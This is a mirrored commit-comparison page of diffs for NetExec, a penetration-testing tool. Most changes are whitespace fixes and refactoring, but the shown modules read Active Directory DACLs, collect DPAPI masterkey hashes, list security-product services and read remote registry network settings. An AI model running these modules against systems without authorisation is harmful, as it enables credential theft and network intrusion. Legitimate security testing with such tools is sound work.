mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-09 04:10:18 -10:00
Compare commits
101
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c9ed049138 | ||
|
|
c93f1f239e | ||
|
|
b0497e8e02 | ||
|
|
127e47c500 | ||
|
|
b7df3f77e9 | ||
|
|
22029c01ed | ||
|
|
43c1fc67b0 | ||
|
|
05d15a9750 | ||
|
|
e542fd6eb1 | ||
|
|
d9de4db59f | ||
|
|
8a4c29de0e | ||
|
|
7e7d447e56 | ||
|
|
b0fd02b4ec | ||
|
|
c71a8688d6 | ||
|
|
9784c2c58c | ||
|
|
b2d960c566 | ||
|
|
d2f7140eab | ||
|
|
00e19a1ded | ||
|
|
1a1993f7e9 | ||
|
|
6f3c5bc6bf | ||
|
|
dbb05457be | ||
|
|
8f10f9ede6 | ||
|
|
d1ed5073d7 | ||
|
|
8edaf13af1 | ||
|
|
30cf67159e | ||
|
|
006ad7c6d8 | ||
|
|
3d8be59ee5 | ||
|
|
18ba7dba6e | ||
|
|
1477b49450 | ||
|
|
ee75c4316a | ||
|
|
cb0f1259f5 | ||
|
|
051bc34f41 | ||
|
|
0e9d3e5c9b | ||
|
|
6402ac16a5 | ||
|
|
abe3dfc054 | ||
|
|
e46a962671 | ||
|
|
e8f8d7e90e | ||
|
|
a742bce516 | ||
|
|
0db3d64d59 | ||
|
|
83b71487cf | ||
|
|
782f476e33 | ||
|
|
84d8f108c9 | ||
|
|
74e49abf28 | ||
|
|
e7799212b5 | ||
|
|
65be28dc19 | ||
|
|
49d04493e3 | ||
|
|
6debc5fb49 | ||
|
|
3c8bb13117 | ||
|
|
8ec8830e81 | ||
|
|
03dfe7f23c | ||
|
|
8ca5874260 | ||
|
|
172bddbb4c | ||
|
|
bb788a484e | ||
|
|
21f6031129 | ||
|
|
70922c5b85 | ||
|
|
97838b466c | ||
|
|
eb33458e46 | ||
|
|
6c07fa8641 | ||
|
|
34e7d9f0ce | ||
|
|
2124866551 | ||
|
|
e2c1e820c7 | ||
|
|
b1faef4cfa | ||
|
|
4522f00d6e | ||
|
|
e1c5271f43 | ||
|
|
da54a7f5b3 | ||
|
|
cc268f0e0a | ||
|
|
49e80169fd | ||
|
|
9a16a4fce4 | ||
|
|
61f6ee1074 | ||
|
|
65fe159168 | ||
|
|
4137704a06 | ||
|
|
4104caa5e8 | ||
|
|
e11898b182 | ||
|
|
f4c199e1cc | ||
|
|
ba0c461aa2 | ||
|
|
db68c1303b | ||
|
|
8d432a5074 | ||
|
|
25e9586ace | ||
|
|
5566578daf | ||
|
|
3d3b41de62 | ||
|
|
dce281dfba | ||
|
|
4d96ee6d52 | ||
|
|
78d691be12 | ||
|
|
02dbcbdc5d | ||
|
|
d0827bb78c | ||
|
|
714c44bac8 | ||
|
|
fedca6bcfb | ||
|
|
1d9b50210f | ||
|
|
8b78206f72 | ||
|
|
ab255aa9f4 | ||
|
|
3648ac579d | ||
|
|
5933a08f33 | ||
|
|
897fe67d72 | ||
|
|
f5604a63d1 | ||
|
|
a0ab16c45b | ||
|
|
1f07880e4e | ||
|
|
ae44a34e74 | ||
|
|
ac4c470c16 | ||
|
|
00ffc96832 | ||
|
|
6e52d617c8 | ||
|
|
afb78358cf |
No files matched your search
@@ -1,5 +1,3 @@
|
||||
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
|
||||
|
||||
---
|
||||
name: Bug report
|
||||
about: Create a report to help us improve
|
||||
@@ -9,6 +7,8 @@ assignees: ''
|
||||
|
||||
---
|
||||
|
||||
# ❗❗❗ Before filing this bug report, MAKE SURE you have already downloaded the newest version of NetExec from GitHub and installed it! Many issues have already been reported and fixed, _especially_ if you are running the native Kali version! Please delete this line before submitting your issue if you have done so.❗❗❗
|
||||
|
||||
|
||||
|
||||
**Describe the bug**
|
||||
|
||||
@@ -63,3 +63,5 @@ Awesome code contributors of NetExec:
|
||||
[](https://github.com/NeffIsBack)
|
||||
[](https://github.com/Hackndo)
|
||||
[](https://github.com/XiaoliChan)
|
||||
[](https://github.com/termanix)
|
||||
[](https://github.com/Dfte)
|
||||
+1
-1
@@ -60,7 +60,7 @@ def gen_cli_args():
|
||||
|
||||
The network execution tool
|
||||
Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx
|
||||
|
||||
|
||||
For documentation and usage examples, visit: https://www.netexec.wiki/
|
||||
|
||||
{highlight('Version', 'red')} : {highlight(VERSION)}
|
||||
|
||||
+1
-1
@@ -174,7 +174,7 @@ class connection:
|
||||
if self.kerberos:
|
||||
self.host = self.hostname
|
||||
|
||||
self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
self.logger.info(f"Connection __init__ info: host={self.host}, hostname={self.hostname}, port={self.port}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
|
||||
|
||||
try:
|
||||
self.proto_flow()
|
||||
|
||||
+4
-4
@@ -110,7 +110,7 @@ def initialize_db():
|
||||
|
||||
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
|
||||
init_protocol_dbs("default")
|
||||
|
||||
|
||||
|
||||
def format_host_query(q, filter_term, HostsTable):
|
||||
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
|
||||
@@ -127,8 +127,8 @@ def format_host_query(q, filter_term, HostsTable):
|
||||
else:
|
||||
nxc_logger.debug("Neither 'ip' nor 'host' columns found in the table")
|
||||
return q
|
||||
|
||||
# first we check if its an ip address
|
||||
|
||||
# first we check if its an ip address
|
||||
try:
|
||||
ipaddress.ip_address(filter_term)
|
||||
nxc_logger.debug(f"filter_term is an IP address: {filter_term}")
|
||||
@@ -136,7 +136,7 @@ def format_host_query(q, filter_term, HostsTable):
|
||||
except ValueError:
|
||||
nxc_logger.debug(f"filter_term is not an IP address: {filter_term}")
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
|
||||
|
||||
# check if the hostname column exists for hostname searching
|
||||
q = q.filter(ip_column.like(like_term) | func.lower(HostsTable.c.hostname).like(like_term)) if hasattr(HostsTable.c, "hostname") else q.filter(ip_column.like(like_term))
|
||||
|
||||
|
||||
@@ -145,11 +145,11 @@ class Element:
|
||||
return ""
|
||||
|
||||
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
|
||||
|
||||
|
||||
attrs = " ".join(attrs)
|
||||
if len(attrs) > 0:
|
||||
attrs = " " + attrs
|
||||
|
||||
|
||||
if self._empty:
|
||||
return f"<{self._name.val}{attrs}/>"
|
||||
else:
|
||||
|
||||
@@ -145,4 +145,3 @@ def detect_if_ip(target):
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
@@ -31,4 +31,4 @@ def parse_challenge(challange):
|
||||
target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
|
||||
else:
|
||||
target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
|
||||
return target_info
|
||||
return target_info
|
||||
@@ -86,7 +86,7 @@ class NXCModule:
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add(connection, context)
|
||||
|
||||
|
||||
def do_samr_add(self, context):
|
||||
"""
|
||||
Connects to a target server and performs various operations related to adding or deleting machine accounts.
|
||||
|
||||
@@ -15,9 +15,9 @@ class NXCModule:
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
@@ -43,7 +43,7 @@ class BitLockerSMB:
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
@@ -51,10 +51,10 @@ class BitLockerSMB:
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
@@ -85,7 +85,7 @@ class BitLockerWMI:
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
@@ -93,7 +93,7 @@ class BitLockerWMI:
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
@@ -113,7 +113,7 @@ class BitLockerWMI:
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
|
||||
+79
-115
@@ -1,5 +1,4 @@
|
||||
import binascii
|
||||
import codecs
|
||||
import json
|
||||
import datetime
|
||||
from enum import Enum
|
||||
@@ -189,6 +188,12 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
Self = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_SELF
|
||||
|
||||
|
||||
SEARCH_FILTERS = {
|
||||
"TARGET": lambda target: f"(sAMAccountName={escape_filter_chars(target)})",
|
||||
"TARGET_DN": lambda target: f"(distinguishedName={escape_filter_chars(target)})"
|
||||
}
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
|
||||
@@ -205,9 +210,17 @@ class NXCModule:
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
# Initialize module variables
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
self.action = "read"
|
||||
self.ace_type = "allowed"
|
||||
self.rights = None
|
||||
self.rights_guid = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
|
||||
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
|
||||
@@ -226,57 +239,48 @@ class NXCModule:
|
||||
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
|
||||
sys.exit(1)
|
||||
|
||||
if module_options and "TARGET" in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options["TARGET"]):
|
||||
try:
|
||||
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
|
||||
self.target_sAMAccountName = None
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
self.target_file = None
|
||||
self.target_DN = None
|
||||
self.targets = []
|
||||
self.target_SID = None
|
||||
if module_options and "TARGET_DN" in module_options:
|
||||
self.target_DN = module_options["TARGET_DN"]
|
||||
self.target_sAMAccountName = None
|
||||
self.target_file = None
|
||||
|
||||
if module_options and "PRINCIPAL" in module_options:
|
||||
for option in "TARGET", "TARGET_DN":
|
||||
if option in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if isfile(module_options[option]):
|
||||
try:
|
||||
target_file = open(module_options[option]) # noqa: SIM115
|
||||
for line in target_file:
|
||||
context.log.debug(f"Adding target from file: {line}")
|
||||
self.targets.append((line.strip(), SEARCH_FILTERS[option]))
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be opened.")
|
||||
else:
|
||||
context.log.debug(f"Adding target: {module_options[option]}")
|
||||
self.targets.append((module_options[option].strip(), SEARCH_FILTERS[option]))
|
||||
|
||||
if not self.targets:
|
||||
context.log.fail("No target specified, please specify at least one target with the TARGET or TARGET_DN options.")
|
||||
sys.exit(1)
|
||||
|
||||
if "PRINCIPAL" in module_options:
|
||||
self.principal_sAMAccountName = module_options["PRINCIPAL"]
|
||||
else:
|
||||
self.principal_sAMAccountName = None
|
||||
self.principal_sid = None
|
||||
|
||||
if module_options and "ACTION" in module_options:
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
self.action = "read"
|
||||
if module_options and "ACE_TYPE" in module_options:
|
||||
|
||||
if "ACE_TYPE" in module_options:
|
||||
self.ace_type = module_options["ACE_TYPE"]
|
||||
else:
|
||||
self.ace_type = "allowed"
|
||||
if module_options and "RIGHTS" in module_options:
|
||||
|
||||
if "RIGHTS" in module_options:
|
||||
self.rights = module_options["RIGHTS"]
|
||||
else:
|
||||
self.rights = None
|
||||
if module_options and "RIGHTS_GUID" in module_options:
|
||||
|
||||
if "RIGHTS_GUID" in module_options:
|
||||
self.rights_guid = module_options["RIGHTS_GUID"]
|
||||
else:
|
||||
self.rights_guid = None
|
||||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldap_connection._baseDN
|
||||
self.ldap_session = connection.ldap_connection
|
||||
self.connection = connection
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
# Searching for the principal SID
|
||||
if self.principal_sAMAccountName is not None:
|
||||
@@ -294,86 +298,49 @@ class NXCModule:
|
||||
return
|
||||
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
for target, search_filter in self.targets:
|
||||
try:
|
||||
# Searching for target account with its security descriptor
|
||||
if self.target_sAMAccountName: # noqa: SIM108
|
||||
search_filter = f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})"
|
||||
else:
|
||||
search_filter = f"(distinguishedName={escape_filter_chars(self.target_DN)})"
|
||||
|
||||
resp = connection.search(
|
||||
searchFilter=search_filter,
|
||||
searchFilter=search_filter(target),
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = resp_parsed["distinguishedName"]
|
||||
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal_dn})")
|
||||
target_principal_dn = resp_parsed["distinguishedName"]
|
||||
principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({target_principal_dn})")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
context.log.fail(f"Target SID not found in LDAP ({target})")
|
||||
context.log.debug(f"Exception: {e}, {traceback.format_exc()}")
|
||||
return
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
self.read(principal_security_descriptor)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
|
||||
# If there are multiple targets
|
||||
else:
|
||||
targets = self.target_file.readlines()
|
||||
for target in targets:
|
||||
try:
|
||||
self.target_sAMAccountName = target.strip()
|
||||
# Searching for target account with its security descriptor
|
||||
resp = connection.search(
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(self.target_sAMAccountName)})",
|
||||
attributes=["distinguishedName", "nTSecurityDescriptor"],
|
||||
searchControls=security_descriptor_control(sdflags=0x04),
|
||||
)
|
||||
resp_parsed = parse_result_attributes(resp)[0]
|
||||
|
||||
# Extract security descriptor data
|
||||
self.target_principal_dn = resp_parsed["distinguishedName"]
|
||||
self.principal_raw_security_descriptor = resp_parsed["nTSecurityDescriptor"]
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
if self.action == "backup":
|
||||
self.backup(context)
|
||||
self.backup(target, target_principal_dn, principal_raw_security_descriptor)
|
||||
|
||||
# Main read funtion
|
||||
# Prints the parsed DACL
|
||||
def read(self, context):
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(context, parsed_dacl)
|
||||
def read(self, principal_security_descriptor):
|
||||
parsed_dacl = self.parse_dacl(principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(parsed_dacl)
|
||||
|
||||
# Permits to export the DACL of the targets
|
||||
# This function is called before any writing action (write, remove or restore)
|
||||
def backup(self, context):
|
||||
def backup(self, target, target_principal_dn, principal_raw_security_descriptor):
|
||||
backup = {}
|
||||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(self.target_principal_dn)
|
||||
if not self.filename:
|
||||
self.filename = "dacledit-{}-{}.bak".format(
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
|
||||
self.target_sAMAccountName,
|
||||
)
|
||||
with codecs.open(self.filename, "w", "latin-1") as outfile:
|
||||
backup["sd"] = binascii.hexlify(principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(target_principal_dn)
|
||||
|
||||
timestamp = datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
filename = f"dacledit-{timestamp}-{target}.bak"
|
||||
with open(filename, "w", encoding="latin-1") as outfile:
|
||||
json.dump(backup, outfile)
|
||||
context.log.highlight("DACL backed up to %s", self.filename)
|
||||
self.filename = None
|
||||
self.context.log.highlight(f"DACL backed up to {filename}")
|
||||
|
||||
def resolveSID(self, sid):
|
||||
"""Resolves a SID to its corresponding sAMAccountName."""
|
||||
@@ -394,11 +361,11 @@ class NXCModule:
|
||||
|
||||
# Parses a full DACL
|
||||
# - dacl : the DACL to parse, submitted in a Security Desciptor format
|
||||
def parse_dacl(self, context, dacl):
|
||||
def parse_dacl(self, dacl):
|
||||
parsed_dacl = []
|
||||
context.log.debug("Parsing DACL")
|
||||
self.context.log.debug("Parsing DACL")
|
||||
for ace in dacl["Data"]:
|
||||
parsed_ace = self.parse_ace(context, ace)
|
||||
parsed_ace = self.parse_ace(ace)
|
||||
parsed_dacl.append(parsed_ace)
|
||||
return parsed_dacl
|
||||
|
||||
@@ -413,7 +380,7 @@ class NXCModule:
|
||||
|
||||
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
|
||||
# - ace : the ACE to parse
|
||||
def parse_ace(self, context, ace):
|
||||
def parse_ace(self, ace):
|
||||
# For the moment, only the Allowed and Denied Access ACE are supported
|
||||
if ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_ACE",
|
||||
@@ -455,12 +422,9 @@ class NXCModule:
|
||||
except KeyError:
|
||||
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace["Trustee (SID)"] = "{} ({})".format(
|
||||
self.resolveSID(ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
else: # if the ACE is not an access allowed
|
||||
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {
|
||||
"ACE type": ace["TypeName"],
|
||||
@@ -469,18 +433,18 @@ class NXCModule:
|
||||
}
|
||||
return parsed_ace
|
||||
|
||||
def print_parsed_dacl(self, context, parsed_dacl):
|
||||
def print_parsed_dacl(self, parsed_dacl):
|
||||
"""Prints a full DACL by printing each parsed ACE
|
||||
|
||||
parsed_dacl : a parsed DACL from parse_dacl()
|
||||
"""
|
||||
context.log.debug("Printing parsed DACL")
|
||||
self.context.log.debug("Printing parsed DACL")
|
||||
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
|
||||
# If an ACE type has been specified, only the ACE with this type will be specified
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for i, parsed_ace in enumerate(parsed_dacl):
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
@@ -494,7 +458,7 @@ class NXCModule:
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
@@ -502,7 +466,7 @@ class NXCModule:
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
@@ -510,13 +474,13 @@ class NXCModule:
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
@@ -524,7 +488,7 @@ class NXCModule:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight(f"ACE[{i}] info")
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
|
||||
@@ -15,4 +15,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -34,12 +34,12 @@ class NXCModule:
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
@@ -57,6 +57,6 @@ class NXCModule:
|
||||
else:
|
||||
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
|
||||
context.log.highlight(mkhash)
|
||||
|
||||
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
@@ -376,7 +376,7 @@ conf = {
|
||||
{"name": "masvc", "description": "Trellix Agent Service"},
|
||||
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
|
||||
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
|
||||
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
|
||||
],
|
||||
"pipes": [
|
||||
|
||||
@@ -0,0 +1,93 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import contextlib
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
|
||||
Formerly --interfaces parameter
|
||||
Made by: @Sant0rryu, @NeffIsBack
|
||||
"""
|
||||
|
||||
name = "enum_interfaces"
|
||||
description = "Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry (formerly --interfaces)"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = False
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = {}
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Execute network interface enumeration on authenticated SMB connection"""
|
||||
self.context = context
|
||||
|
||||
try:
|
||||
remoteOps = RemoteOperations(connection.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
|
||||
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
|
||||
|
||||
context.log.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
|
||||
for sub_key in sub_keys:
|
||||
interface = {}
|
||||
try:
|
||||
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
|
||||
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
|
||||
|
||||
# Retrieve Interace Name
|
||||
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
|
||||
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
|
